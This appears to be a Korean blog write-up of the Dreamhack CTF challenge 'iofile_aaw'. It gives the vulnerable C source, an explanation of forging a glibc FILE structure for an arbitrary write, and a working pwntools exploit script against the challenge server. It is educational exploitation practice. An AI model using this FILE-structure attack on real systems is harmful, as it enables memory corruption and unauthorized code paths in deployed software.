// Name: iofile_aaw
// gcc -o iofile_aaw iofile_aaw.c -no-pie
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char flag_buf[1024];
int overwrite_me;
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
int read_flag() {
FILE *fp;
fp = fopen("/home/iofile_aaw/flag", "r");
fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
write(1, flag_buf, sizeof(flag_buf));
fclose(fp);
}
int main() {
FILE *fp;
char file_buf[1024];
init();
fp = fopen("/etc/issue", "r");
printf("Data: ");
read(0, fp, 300);
fread(file_buf, 1, sizeof(file_buf)-1, fp);
printf("%s", file_buf);
if( overwrite_me == 0xDEADBEEF)
read_flag();
fclose(fp);
}
전역 변수 overwrite_me 변수 값을 0xDEADBEEF로 만들면 read_flag 함수를 실행해 flag 값을 뱉어준다.
read 함수를 통해 파일 구조체 조작이 가능하다. 조작된 파일 구조체를 fread 함수로 실행하는데 fread 함수 내부적으로 read 함수 시스템 콜을 사용하기 때문에 아래와 같이 파일 구조체를 바꾸면 overwrite_me 변수에 0xDEADBEEF 값을 넣을 수 있다.
from pwn import *
p = remote('host3.dreamhack.games',10334)
#p = process('./iofile_aaw')
elf = ELF('./iofile_aaw')
overwrite_me = elf.symbols['overwrite_me']
payload = p64(0xfbad2488)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(overwrite_me) # _buf_base
payload += p64(overwrite_me + 1024) # _buf_end
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0) # fileno
p.sendafter('Data: ',payload) # read(0,fp,300)
payload = p64(0xDEADBEEF) + "\x00"*1016
p.send(payload) # fread
p.interactive()
[그림 1-3]
성공!
알게 된 점
1. 일반적으로 read 함수 _flags 값은 0xfbad2488을 사용한다.
2. fread, fgets 함수는 내부적으로 _IO_file_xsgetn 함수를 호출하는데, 해당 함수에서 end-base 값이 함수의 인자로 전달된 읽을 크기보다 커야 하는 조건이 있어 buffer size가 100이라면 _IO_buf_end > _IO_buf_base + 100 이어야 한다.
위 코드에서 buffer size : 1023 , _IO_buf_end - _IO_buf_base : 1024 이기 때문에 실행이 된다.
3. 삽입할 값 전달 시(overwrite_me) end-base 값과 유사해야 한다.
즉, payload = p64(0xDEADBEEF) + "\x00"*1016 코드에서 payload 크기가 1024와 비슷해야 익스가 된다.
'Dreamhack - pwnable' 카테고리의 다른 글
bypass_valid_vtable (1) | 2023.04.04 |
---|---|
send_sig (0) | 2023.03.15 |
Sigreturn-Oriented Progamming (0) | 2023.03.14 |
rtld (0) | 2023.03.12 |
environ (0) | 2023.03.06 |